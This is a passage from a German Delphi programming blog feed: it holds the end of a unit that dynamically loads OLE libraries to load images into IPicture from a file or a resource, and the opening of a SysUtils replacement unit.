      <strong><span style="color: #000080;">out</span></strong> bmpOut<span style="color: #000000;">:</span> OLE_HANDLE<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> get_KeepOriginalFormat<span style="color: #000000;">(</span><strong><span style="color: #000080;">out</span></strong> fkeep<span style="color: #000000;">:</span> BOOL<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> put_KeepOriginalFormat<span style="color: #000000;">(</span>fkeep<span style="color: #000000;">:</span> BOOL<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> PictureChanged<span style="color: #000000;">:</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> SaveAsFile<span style="color: #000000;">(</span><strong><span style="color: #000080;">const</span></strong> stream<span style="color: #000000;">:</span> IStream<span style="color: #000000;">;</span> fSaveMemCopy<span style="color: #000000;">:</span> BOOL<span style="color: #000000;">;</span>
      <strong><span style="color: #000080;">out</span></strong> cbSize<span style="color: #000000;">:</span> Longint<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> get_Attributes<span style="color: #000000;">(</span><strong><span style="color: #000080;">out</span></strong> dwAttr<span style="color: #000000;">:</span> Longint<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
  <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>

<strong><span style="color: #000080;">type</span></strong>
   TFNCreateStreamOnHGlobalX <span style="color: #000000;">=</span> <strong><span style="color: #000080;">function</span></strong><span style="color: #000000;">(</span>hglob<span style="color: #000000;">:</span> HGlobal<span style="color: #000000;">;</span> fDeleteOnRelease<span style="color: #000000;">:</span> BOOL<span style="color: #000000;">;</span>
                                        <strong><span style="color: #000080;">out</span></strong> stm<span style="color: #000000;">:</span> IStream<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
   TFNOleLoadPictureX        <span style="color: #000000;">=</span> <strong><span style="color: #000080;">function</span></strong><span style="color: #000000;">(</span>stream<span style="color: #000000;">:</span> IStream<span style="color: #000000;">;</span> lSize<span style="color: #000000;">:</span> Longint<span style="color: #000000;">;</span> fRunmode<span style="color: #000000;">:</span> BOOL<span style="color: #000000;">;</span>
                                        <strong><span style="color: #000080;">const</span></strong> iid<span style="color: #000000;">:</span> TIID<span style="color: #000000;">;</span> <strong><span style="color: #000080;">out</span></strong> vObject<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>

<em><span style="color: #477ab8;">{function CreateStreamOnHGlobal(hglob: HGlobal; fDeleteOnRelease: BOOL;
  out stm: IStream): HResult; stdcall;
function OleLoadPicture(stream: IStream; lSize: Longint; fRunmode: BOOL;
  const iid: TIID; out vObject): HResult; stdcall;}</span></em>

<strong><span style="color: #000080;">var</span></strong>
   CreateStreamOnHGlobalX <span style="color: #000000;">:</span> TFNCreateStreamOnHGlobalX <span style="color: #000000;">=</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">;</span>
   OleLoadPictureX        <span style="color: #000000;">:</span> TFNOleLoadPictureX <span style="color: #000000;">=</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">;</span>

   <strong><span style="color: #000080;">function</span></strong> LoadPictureFromFile<span style="color: #000000;">(</span>AFile<span style="color: #000000;">:</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">;</span> <strong><span style="color: #000080;">var</span></strong> pPicture<span style="color: #000000;">:</span> IPicture<span style="color: #000000;">)</span> <span style="color: #000000;">:</span> Boolean<span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">function</span></strong> LoadPictureFromRes<span style="color: #000000;">(</span>Instance<span style="color: #000000;">:</span> THandle<span style="color: #000000;">;</span> <strong><span style="color: #000080;">const</span></strong> szResName<span style="color: #000000;">,</span> szResType <span style="color: #000000;">:</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">;</span> <strong><span style="color: #000080;">var</span></strong> pPicture<span style="color: #000000;">:</span> IPicture<span style="color: #000000;">)</span> <span style="color: #000000;">:</span> Boolean<span style="color: #000000;">;</span>

<strong><span style="color: #000080;">implementation</span></strong>

<strong><span style="color: #000080;">const</span></strong>
   OLE<span style="color: #000000;">32</span>    <span style="color: #000000;">=</span> <span style="color: #000080;">'ole32.dll'</span><span style="color: #000000;">;</span>
   OLEPRO<span style="color: #000000;">32</span> <span style="color: #000000;">=</span> <span style="color: #000080;">'olepro32.dll'</span><span style="color: #000000;">;</span>

<strong><span style="color: #000080;">var</span></strong> LibOle32,
    LibOlePro32 <span style="color: #000000;">:</span> HMODULE<span style="color: #000000;">;</span>

<strong><span style="color: #000080;">function</span></strong> LoadX<span style="color: #000000;">000</span>XActiveX<span style="color: #000000;">:</span> Boolean<span style="color: #000000;">;</span>
<strong><span style="color: #000080;">begin</span></strong>
   Result <span style="color: #000000;">:=</span> False<span style="color: #000000;">;</span>
   LibOle32 <span style="color: #000000;">:=</span> LoadLibrary<span style="color: #000000;">(@</span>OLE<span style="color: #000000;">32</span><span style="color: #000000;">[</span><span style="color: #000000;">1</span><span style="color: #000000;">]);</span>
   <strong><span style="color: #000080;">if</span></strong> LibOle32 <span style="color: #000000;">&lt;&gt;</span> <span style="color: #000000;">0</span> <strong><span style="color: #000080;">then</span></strong> <strong><span style="color: #000080;">begin</span></strong>
      LibOlePro32 <span style="color: #000000;">:=</span> LoadLibrary<span style="color: #000000;">(@</span>OLEPRO<span style="color: #000000;">32</span><span style="color: #000000;">[</span><span style="color: #000000;">1</span><span style="color: #000000;">]);</span>
      <strong><span style="color: #000080;">if</span></strong> LibOlePro32 <span style="color: #000000;">&lt;&gt;</span> <span style="color: #000000;">0</span> <strong><span style="color: #000080;">then</span></strong> <strong><span style="color: #000080;">begin</span></strong>
         CreateStreamOnHGlobalX <span style="color: #000000;">:=</span> GetProcAddress<span style="color: #000000;">(</span>LibOle32, PChar<span style="color: #000000;">(</span><span style="color: #000080;">'CreateStreamOnHGlobal'</span><span style="color: #000000;">));</span>
         OleLoadPictureX        <span style="color: #000000;">:=</span> GetProcAddress<span style="color: #000000;">(</span>LibOlePro32, PChar<span style="color: #000000;">(</span><span style="color: #000080;">'OleLoadPicture'</span><span style="color: #000000;">));</span>
         <strong><span style="color: #000080;">if</span></strong> Assigned<span style="color: #000000;">(</span>CreateStreamOnHGlobalX<span style="color: #000000;">)</span> <strong><span style="color: #000080;">And</span></strong>
            Assigned<span style="color: #000000;">(</span>OleLoadPictureX<span style="color: #000000;">)</span> <strong><span style="color: #000080;">then</span></strong> <strong><span style="color: #000080;">begin</span></strong>
            Result <span style="color: #000000;">:=</span> True<span style="color: #000000;">;</span>
            Exit<span style="color: #000000;">;</span>
         <strong><span style="color: #000080;">end</span></strong> <strong><span style="color: #000080;">else</span></strong> <strong><span style="color: #000080;">begin</span></strong>
            CreateStreamOnHGlobalX <span style="color: #000000;">:=</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">;</span>
            OleLoadPictureX <span style="color: #000000;">:=</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">;</span>
            FreeLibrary<span style="color: #000000;">(</span>LibOle32)<span style="color: #000000;">;</span>
            FreeLibrary<span style="color: #000000;">(</span>LibOlePro32)<span style="color: #000000;">;</span>
         <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>
      <strong><span style="color: #000080;">end</span></strong> <strong><span style="color: #000080;">else</span></strong>
         FreeLibrary<span style="color: #000000;">(</span>LibOle32)<span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>
<strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>

<strong><span style="color: #000080;">procedure</span></strong> UnloadX<span style="color: #000000;">000</span>XActiveX<span style="color: #000000;">;</span>
<strong><span style="color: #000080;">begin</span></strong>
   CreateStreamOnHGlobalX <span style="color: #000000;">:=</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">;</span>
   OleLoadPictureX <span style="color: #000000;">:=</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">;</span>
   FreeLibrary<span style="color: #000000;">(</span>LibOle32)<span style="color: #000000;">;</span>
   FreeLibrary<span style="color: #000000;">(</span>LibOlePro32)<span style="color: #000000;">;</span>
<strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>

<em><span style="color: #477ab8;">(* Funktion l�dt ein Bild von der HDD in eine Variable vom Typ IPicture (X000XActiveX.pas) *)</span></em>
<strong><span style="color: #000080;">function</span></strong> LoadPictureFromFile<span style="color: #000000;">(</span>AFile<span style="color: #000000;">:</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">;</span> <strong><span style="color: #000080;">var</span></strong> pPicture<span style="color: #000000;">:</span> IPicture<span style="color: #000000;">)</span> <span style="color: #000000;">:</span> Boolean<span style="color: #000000;">;</span>
<strong><span style="color: #000080;">const</span></strong> IID_IPicture <span style="color: #000000;">:</span> TGUID <span style="color: #000000;">=</span> <span style="color: #000080;">'{7BF80980-BF32-101A-8BBB-00AA00300CAB}'</span><span style="color: #000000;">;</span>
<strong><span style="color: #000080;">var</span></strong>
   hFile<span style="color: #000000;">,</span> hMem <span style="color: #000000;">:</span> THandle<span style="color: #000000;">;</span>
   dwFileSize<span style="color: #000000;">,</span>
   dwBytesRead <span style="color: #000000;">:</span> DWord<span style="color: #000000;">;</span>
   pData       <span style="color: #000000;">:</span> Pointer<span style="color: #000000;">;</span>
   bRead       <span style="color: #000000;">:</span> Boolean<span style="color: #000000;">;</span>
   hRes        <span style="color: #000000;">:</span> HResult<span style="color: #000000;">;</span>
   pStream     <span style="color: #000000;">:</span> IStream<span style="color: #000000;">;</span>
<strong><span style="color: #000080;">Begin</span></strong>
   Result <span style="color: #000000;">:=</span> False<span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">if</span></strong> LoadX<span style="color: #000000;">000</span>XActiveX <strong><span style="color: #000080;">then</span></strong> <strong><span style="color: #000080;">begin</span></strong>
      hMem   <span style="color: #000000;">:=</span> <span style="color: #000000;">0</span><span style="color: #000000;">;</span>
      <em><span style="color: #477ab8;">(* Datei �ffnen *)</span></em>
      hFile  <span style="color: #000000;">:=</span> CreateFile<span style="color: #000000;">(</span>PChar<span style="color: #000000;">(</span>AFile<span style="color: #000000;">),</span> GENERIC_READ<span style="color: #000000;">,</span> <span style="color: #000000;">0</span><span style="color: #000000;">,</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">,</span>  OPEN_EXISTING<span style="color: #000000;">,</span> <span style="color: #000000;">0</span><span style="color: #000000;">,</span> <span style="color: #000000;">0</span><span style="color: #000000;">);</span>
      <strong><span style="color: #000080;">if</span></strong> hFile <span style="color: #000000;">=</span> INVALID_HANDLE_VALUE <strong><span style="color: #000080;">then</span></strong> Exit<span style="color: #000000;">;</span>
      <em><span style="color: #477ab8;">(* Sollte was schief laufen, steigen wir mit exit aus, aufger�umt wird im Finally Block *)</span></em>
      <strong><span style="color: #000080;">try</span></strong>
         <em><span style="color: #477ab8;">(* Dateigr��e holen *)</span></em>
         dwFileSize <span style="color: #000000;">:=</span> GetFileSize<span style="color: #000000;">(</span>hFile<span style="color: #000000;">,</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">);</span>
         <strong><span style="color: #000080;">if</span></strong> dwFileSize <span style="color: #000000;">=</span> INVALID_FILE_SIZE <strong><span style="color: #000080;">then</span></strong>
            Exit<span style="color: #000000;">;</span>
         <em><span style="color: #477ab8;">(* "Dateigr��e" an Bytes vom Heap anfordern *)</span></em>
         hMem <span style="color: #000000;">:=</span> GlobalAlloc<span style="color: #000000;">(</span>GHND <strong><span style="color: #000080;">or</span></strong> GMEM_NODISCARD<span style="color: #000000;">,</span> dwFileSize<span style="color: #000000;">);</span>
         <strong><span style="color: #000080;">if</span></strong> hMem <span style="color: #000000;">=</span> <span style="color: #000000;">0</span> <strong><span style="color: #000080;">then</span></strong>
            Exit<span style="color: #000000;">;</span>
         <em><span style="color: #477ab8;">(* Einen Zeiger auf den soeben angeforderten Speicherblock holen *)</span></em>
         pData <span style="color: #000000;">:=</span> GlobalLock<span style="color: #000000;">(</span>hMem<span style="color: #000000;">);</span>
         <strong><span style="color: #000080;">if</span></strong> <strong><span style="color: #000080;">Not</span></strong> Assigned<span style="color: #000000;">(</span>pData<span style="color: #000000;">)</span> <strong><span style="color: #000080;">then</span></strong>
            Exit<span style="color: #000000;">;</span>
         <em><span style="color: #477ab8;">(* Datei in den Speicher lesen *)</span></em>
         <em><span style="color: #477ab8;">(* Dateigr��e und gelesene Bytes sollten hiernach �bereinstimmen *)</span></em>
         bRead <span style="color: #000000;">:=</span> ReadFile<span style="color: #000000;">(</span>hFile<span style="color: #000000;">,</span> pData<span style="color: #000000;">^</span> <span style="color: #000000;">,</span> dwFileSize<span style="color: #000000;">,</span> dwBytesRead<span style="color: #000000;">,</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">);</span>
         GlobalUnlock<span style="color: #000000;">(</span>hMem<span style="color: #000000;">);</span>
         <strong><span style="color: #000080;">if</span></strong> <strong><span style="color: #000080;">not</span></strong> bRead <strong><span style="color: #000080;">then</span></strong>
            Exit<span style="color: #000000;">;</span>
         <em><span style="color: #477ab8;">(* Ein StreamObject erstellen (wir geben den HeapSpeicher selber frei - 2. Parameter) *)</span></em>
         pStream <span style="color: #000000;">:=</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">;</span>
         hRes <span style="color: #000000;">:=</span> CreateStreamOnHGlobalX<span style="color: #000000;">(</span>hMem<span style="color: #000000;">,</span> False<span style="color: #000000;">,</span> pStream<span style="color: #000000;">);</span>
         <strong><span style="color: #000080;">if</span></strong> FAILED<span style="color: #000000;">(</span>hRes<span style="color: #000000;">)</span> <strong><span style="color: #000080;">or</span></strong> <span style="color: #000000;">(</span>pStream <span style="color: #000000;">=</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">)</span> <strong><span style="color: #000080;">then</span></strong>
            Exit<span style="color: #000000;">;</span>
         <em><span style="color: #477ab8;">(* Das Picture in die Variable pPicture (IPicture) laden und bei Erfolg True zur�ckgeben *)</span></em>
         hRes <span style="color: #000000;">:=</span> OleLoadPictureX<span style="color: #000000;">(</span>pStream<span style="color: #000000;">,</span> dwFileSize<span style="color: #000000;">,</span> False<span style="color: #000000;">,</span> IID_IPicture<span style="color: #000000;">,</span> pPicture<span style="color: #000000;">);</span>
         <strong><span style="color: #000080;">if</span></strong> <span style="color: #000000;">(</span>hRes <span style="color: #000000;">=</span> S_OK<span style="color: #000000;">)</span> <strong><span style="color: #000080;">and</span></strong> <span style="color: #000000;">(</span>pPicture <span style="color: #000000;">&lt;&gt;</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">)</span> <strong><span style="color: #000080;">then</span></strong>
            Result <span style="color: #000000;">:=</span> True<span style="color: #000000;">;</span>
         <em><span style="color: #477ab8;">(* StreamObjekt zerst�ren *)</span></em>
         pStream <span style="color: #000000;">:=</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">;</span>
      <strong><span style="color: #000080;">finally</span></strong>
         <em><span style="color: #477ab8;">(* Wenn wir vorhin erfolgreich Speicher angefordert haben, ihn hier *)</span></em>
         <em><span style="color: #477ab8;">(* auf jedenfall wieder frei geben *)</span></em>
         <strong><span style="color: #000080;">if</span></strong> hMem <span style="color: #000000;">&lt;&gt;</span> <span style="color: #000000;">0</span> <strong><span style="color: #000080;">then</span></strong>
            GlobalFree<span style="color: #000000;">(</span>hMem<span style="color: #000000;">);</span>
         <em><span style="color: #477ab8;">(* und zu guterletzt die Datei wieder schlie�en *)</span></em>
         CloseHandle<span style="color: #000000;">(</span>hFile<span style="color: #000000;">);</span>
         UnloadX<span style="color: #000000;">000</span>XActiveX<span style="color: #000000;">;</span>
      <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>
<strong><span style="color: #000080;">End</span></strong><span style="color: #000000;">;</span>

<strong><span style="color: #000080;">function</span></strong> LoadPictureFromRes<span style="color: #000000;">(</span>Instance<span style="color: #000000;">:</span> THandle<span style="color: #000000;">;</span> <strong><span style="color: #000080;">const</span></strong> szResName<span style="color: #000000;">,</span> szResType <span style="color: #000000;">:</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">;</span> <strong><span style="color: #000080;">var</span></strong> pPicture<span style="color: #000000;">:</span> IPicture<span style="color: #000000;">)</span> <span style="color: #000000;">:</span> Boolean<span style="color: #000000;">;</span>
<strong><span style="color: #000080;">const</span></strong> IID_IPicture <span style="color: #000000;">:</span> TGUID <span style="color: #000000;">=</span> <span style="color: #000080;">'{7BF80980-BF32-101A-8BBB-00AA00300CAB}'</span><span style="color: #000000;">;</span>
<strong><span style="color: #000080;">var</span></strong>
   hResInfo<span style="color: #000000;">,</span>
   hResGlobal<span style="color: #000000;">,</span>
   hMem <span style="color: #000000;">:</span> THandle<span style="color: #000000;">;</span>
   dwFileSize  <span style="color: #000000;">:</span> DWord<span style="color: #000000;">;</span>
   pData<span style="color: #000000;">,</span>
   pResData    <span style="color: #000000;">:</span> Pointer<span style="color: #000000;">;</span>
   hRes        <span style="color: #000000;">:</span> HResult<span style="color: #000000;">;</span>
   pStream     <span style="color: #000000;">:</span> IStream<span style="color: #000000;">;</span>
<strong><span style="color: #000080;">Begin</span></strong>
   Result <span style="color: #000000;">:=</span> False<span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">if</span></strong> LoadX<span style="color: #000000;">000</span>XActiveX <strong><span style="color: #000080;">then</span></strong> <strong><span style="color: #000080;">begin</span></strong>
      hMem   <span style="color: #000000;">:=</span> <span style="color: #000000;">0</span><span style="color: #000000;">;</span>
      <em><span style="color: #477ab8;">(* Resource suchen und wenn vorhanden... *)</span></em>
      hResInfo <span style="color: #000000;">:=</span> FindResource<span style="color: #000000;">(</span>Instance<span style="color: #000000;">,</span> Pointer<span style="color: #000000;">(</span>szResName<span style="color: #000000;">),</span> Pointer<span style="color: #000000;">(</span>szResType<span style="color: #000000;">));</span>
      <strong><span style="color: #000080;">if</span></strong> hResInfo <span style="color: #000000;">=</span> <span style="color: #000000;">0</span> <strong><span style="color: #000080;">then</span></strong> Exit<span style="color: #000000;">;</span>
      <em><span style="color: #477ab8;">(* ... laden *)</span></em>
      hResGlobal <span style="color: #000000;">:=</span> LoadResource<span style="color: #000000;">(</span>Instance<span style="color: #000000;">,</span> hResInfo<span style="color: #000000;">);</span>
      <strong><span style="color: #000080;">if</span></strong> hResGlobal <span style="color: #000000;">=</span> <span style="color: #000000;">0</span> <strong><span style="color: #000080;">then</span></strong> Exit<span style="color: #000000;">;</span>
      <em><span style="color: #477ab8;">(* Sollte was schief laufen, steigen wir mit exit aus, aufger�umt wird im Finally Block *)</span></em>
      <strong><span style="color: #000080;">try</span></strong>
         <em><span style="color: #477ab8;">(* Handle auf die Daten holen *)</span></em>
         pResData <span style="color: #000000;">:=</span> LockResource<span style="color: #000000;">(</span>hResGlobal<span style="color: #000000;">);</span>
         <strong><span style="color: #000080;">if</span></strong> <strong><span style="color: #000080;">Not</span></strong> Assigned<span style="color: #000000;">(</span>pResData<span style="color: #000000;">)</span> <strong><span style="color: #000080;">then</span></strong> Exit<span style="color: #000000;">;</span>
         <em><span style="color: #477ab8;">(* Gr��e der Resource in Bytes holen *)</span></em>
         dwFileSize <span style="color: #000000;">:=</span> SizeofResource<span style="color: #000000;">(</span>Instance<span style="color: #000000;">,</span> hResInfo<span style="color: #000000;">);</span>
         <strong><span style="color: #000080;">if</span></strong> dwFileSize <span style="color: #000000;">=</span> <span style="color: #000000;">0</span> <strong><span style="color: #000080;">then</span></strong> Exit<span style="color: #000000;">;</span>
         <em><span style="color: #477ab8;">(* "Dateigr��e" an Bytes vom Heap anfordern *)</span></em>
         hMem <span style="color: #000000;">:=</span> GlobalAlloc<span style="color: #000000;">(</span>GHND <strong><span style="color: #000080;">or</span></strong> GMEM_NODISCARD<span style="color: #000000;">,</span> dwFileSize<span style="color: #000000;">);</span>
         <strong><span style="color: #000080;">if</span></strong> hMem <span style="color: #000000;">=</span> <span style="color: #000000;">0</span> <strong><span style="color: #000080;">then</span></strong>
            Exit<span style="color: #000000;">;</span>
         <em><span style="color: #477ab8;">(* Einen Zeiger auf den soeben angeforderten Speicherblock holen *)</span></em>
         pData <span style="color: #000000;">:=</span> GlobalLock<span style="color: #000000;">(</span>hMem<span style="color: #000000;">);</span>
         <strong><span style="color: #000080;">if</span></strong> <strong><span style="color: #000080;">Not</span></strong> Assigned<span style="color: #000000;">(</span>pData<span style="color: #000000;">)</span> <strong><span style="color: #000080;">then</span></strong>
            Exit<span style="color: #000000;">;</span>
         <em><span style="color: #477ab8;">(* Daten in den Speicher lesen *)</span></em>
         Move<span style="color: #000000;">(</span>pResData<span style="color: #000000;">^,</span> pData<span style="color: #000000;">^,</span> dwFileSize<span style="color: #000000;">);</span>
         GlobalUnlock<span style="color: #000000;">(</span>hMem<span style="color: #000000;">);</span>
         <em><span style="color: #477ab8;">(* Ein StreamObject erstellen (wir geben den HeapSpeicher selber frei - 2. Parameter) *)</span></em>
         pStream <span style="color: #000000;">:=</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">;</span>
         hRes <span style="color: #000000;">:=</span> CreateStreamOnHGlobalX<span style="color: #000000;">(</span>hMem<span style="color: #000000;">,</span> False<span style="color: #000000;">,</span> pStream<span style="color: #000000;">);</span>
         <strong><span style="color: #000080;">if</span></strong> FAILED<span style="color: #000000;">(</span>hRes<span style="color: #000000;">)</span> <strong><span style="color: #000080;">or</span></strong> <span style="color: #000000;">(</span>pStream <span style="color: #000000;">=</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">)</span> <strong><span style="color: #000080;">then</span></strong>
            Exit<span style="color: #000000;">;</span>
         <em><span style="color: #477ab8;">(* Das Picture in die Variable pPicture (IPicture) laden und bei Erfolg True zur�ckgeben *)</span></em>
         hRes <span style="color: #000000;">:=</span> OleLoadPictureX<span style="color: #000000;">(</span>pStream<span style="color: #000000;">,</span> dwFileSize<span style="color: #000000;">,</span> False<span style="color: #000000;">,</span> IID_IPicture<span style="color: #000000;">,</span> pPicture<span style="color: #000000;">);</span>
         <strong><span style="color: #000080;">if</span></strong> <span style="color: #000000;">(</span>hRes <span style="color: #000000;">=</span> S_OK<span style="color: #000000;">)</span> <strong><span style="color: #000080;">and</span></strong> <span style="color: #000000;">(</span>pPicture <span style="color: #000000;">&lt;&gt;</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">)</span> <strong><span style="color: #000080;">then</span></strong>
            Result <span style="color: #000000;">:=</span> True<span style="color: #000000;">;</span>
         <em><span style="color: #477ab8;">(* StreamObjekt zerst�ren *)</span></em>
         pStream <span style="color: #000000;">:=</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">;</span>
      <strong><span style="color: #000080;">finally</span></strong>
         <em><span style="color: #477ab8;">(* Wenn wir vorhin erfolgreich Speicher angefordert haben, ihn hier *)</span></em>
         <em><span style="color: #477ab8;">(* auf jedenfall wieder frei geben *)</span></em>
         <strong><span style="color: #000080;">if</span></strong> hMem <span style="color: #000000;">&lt;&gt;</span> <span style="color: #000000;">0</span> <strong><span style="color: #000080;">then</span></strong>
            GlobalFree<span style="color: #000000;">(</span>hMem<span style="color: #000000;">);</span>
         <em><span style="color: #477ab8;">(* und zu guterletzt die Resource freigeben *)</span></em>
         <strong><span style="color: #000080;">if</span></strong> hResGlobal <span style="color: #000000;">&lt;&gt;</span> <span style="color: #000000;">0</span> <strong><span style="color: #000080;">then</span></strong>
            FreeResource<span style="color: #000000;">(</span>hResGlobal<span style="color: #000000;">);</span>
         UnloadX<span style="color: #000000;">000</span>XActiveX<span style="color: #000000;">;</span>
      <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>
<strong><span style="color: #000080;">End</span></strong><span style="color: #000000;">;</span>

<strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">.</span>
</span>
</span></pre>
<p>Gefallen Euch meine sourcen &#8211; freue ich mich über Eure Spende  &#8211;  Danke!</p>
<form action="https://www.paypal.com/cgi-bin/webscr" method="post">
<input name="cmd" type="hidden" value="_s-xclick" />
<input name="hosted_button_id" type="hidden" value="4217138" />
<input name="submit" src="https://www.paypal.com/de_DE/DE/i/btn/btn_donate_SM.gif" type="image" /> <img src="https://www.paypal.com/de_DE/i/scr/pixel.gif" border="0" alt="" width="1" height="1" /><br />
</form>
]]></content:encoded>
			<wfw:commentRss>http://www.gods4u.de/x000x-activexpas/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>X000X-SysUtils.pas</title>
		<link>http://www.gods4u.de/x000x-sysutilspas</link>
		<comments>http://www.gods4u.de/x000x-sysutilspas#comments</comments>
		<pubDate>Fri, 03 Apr 2009 09:49:04 +0000</pubDate>
		<dc:creator>redaktion</dc:creator>
				<category><![CDATA[Delphi]]></category>

		<guid isPermaLink="false">http://www.gods4u.de/?p=61</guid>
		<description><![CDATA[X000X-SysUtils.pas Ich habe hier mal ein paar ältere Delphi sourcen eingearbeitet. Die Originale findet Ihr immer noch hier: X000XBtn.pas X000XSysUtils.pas X000XActiveX.pas unit X000XSysUtils; interface Uses Windows; procedure ShowMessage(const szMessage: String); function FileExists(const szFileName: String): Boolean; procedure WriteDebug(const szStr: String; const Param : Boolean); function UpperCase(const s: String): String; function LowerCase(const s: String): String; function IntToStr(const [...]]]></description>
			<content:encoded><![CDATA[<h4>X000X-SysUtils.pas</h4>
<p><span id="more-61"></span></p>
<p>Ich habe hier mal ein paar ältere <a title="delphi source" href="http://gods4u.de" target="_self">Delphi sourcen</a> eingearbeitet. Die Originale findet Ihr immer noch hier:</p>
<p><span style="font-family: Courier New; color: #000000; font-size: small;"><a href="http://delphi.gods4u.de/X000XBtn.html">X000XBtn.pas</a><br />
<a href="http://delphi.gods4u.de/X000XSysUtils.html">X000XSysUtils.pas</a><br />
<a href="http://delphi.gods4u.de/X000XActiveX.html">X000XActiveX.pas</a></span></p>
<pre><span id="d3a1eded81a1_codebody" class="code">
<span style="font-family: Courier New; color: #000000; font-size: small;">
<strong><span style="color: #000080;">unit</span></strong> X<span style="color: #000000;">000</span>XSysUtils<span style="color: #000000;">;</span>

<strong><span style="color: #000080;">interface</span></strong>

<strong><span style="color: #000080;">Uses</span></strong> Windows<span style="color: #000000;">;</span>

   <strong><span style="color: #000080;">procedure</span></strong> ShowMessage<span style="color: #000000;">(</span><strong><span style="color: #000080;">const</span></strong> szMessage<span style="color: #000000;">:</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">);</span>
   <strong><span style="color: #000080;">function</span></strong> FileExists<span style="color: #000000;">(</span><strong><span style="color: #000080;">const</span></strong> szFileName<span style="color: #000000;">:</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">):</span> Boolean<span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">procedure</span></strong> WriteDebug<span style="color: #000000;">(</span><strong><span style="color: #000080;">const</span></strong> szStr<span style="color: #000000;">:</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">;</span> <strong><span style="color: #000080;">const</span></strong> Param <span style="color: #000000;">:</span> Boolean<span style="color: #000000;">);</span>
   <strong><span style="color: #000080;">function</span></strong> UpperCase<span style="color: #000000;">(</span><strong><span style="color: #000080;">const</span></strong> s<span style="color: #000000;">:</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">):</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">function</span></strong> LowerCase<span style="color: #000000;">(</span><strong><span style="color: #000080;">const</span></strong> s<span style="color: #000000;">:</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">):</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">function</span></strong> IntToStr<span style="color: #000000;">(</span><strong><span style="color: #000080;">const</span></strong> i<span style="color: #000000;">:</span> Int64)<span style="color: #000000;">:</span> <strong><span style="color: #000080;">string</span></strong><span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">function</span></strong> Format<span style="color: #000000;">(</span>fmt<span style="color: #000000;">:</span> <strong><span style="color: #000080;">string</span></strong><span style="color: #000000;">;</span> params<span style="color: #000000;">:</span> <strong><span style="color: #000080;">array</span></strong> <strong><span style="color: #000080;">of</span></strong> <strong><span style="color: #000080;">const</span></strong><span style="color: #000000;">):</span> <strong><span style="color: #000080;">string</span></strong><span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">procedure</span></strong> FreeAndNil<span style="color: #000000;">(</span><strong><span style="color: #000080;">var</span></strong> Obj<span style="color: #000000;">);</span>

<strong><span style="color: #000080;">implementation</span></strong>

